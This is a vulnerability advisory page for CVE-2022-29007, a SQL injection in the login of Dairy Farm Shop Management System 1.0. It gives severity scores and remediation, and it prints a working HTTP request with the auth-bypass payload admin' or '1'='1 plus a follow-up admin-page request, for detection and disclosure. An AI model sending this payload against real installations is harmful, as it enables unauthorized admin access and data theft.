🔙 목록으로 돌아가기

CVE-2022-29007: Dairy Farm Shop Management System 1.0 - SQL Injection

TitleDairy Farm Shop Management System 1.0 - SQL Injection
AuthorTenBird
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.92276
CVE IDCVE-2022-29007
CWE IDCWE-89
Tags cve cve2022 sqli auth-bypass edb phpgurukul vkev vuln

🔍 Vulnerability Description

Dairy Farm Shop Management System 1.0 contains multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /dfsms/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 48
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=admin' or '1'='1&password=1&login=login
GET /dfsms/add-category.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29007.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29007.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A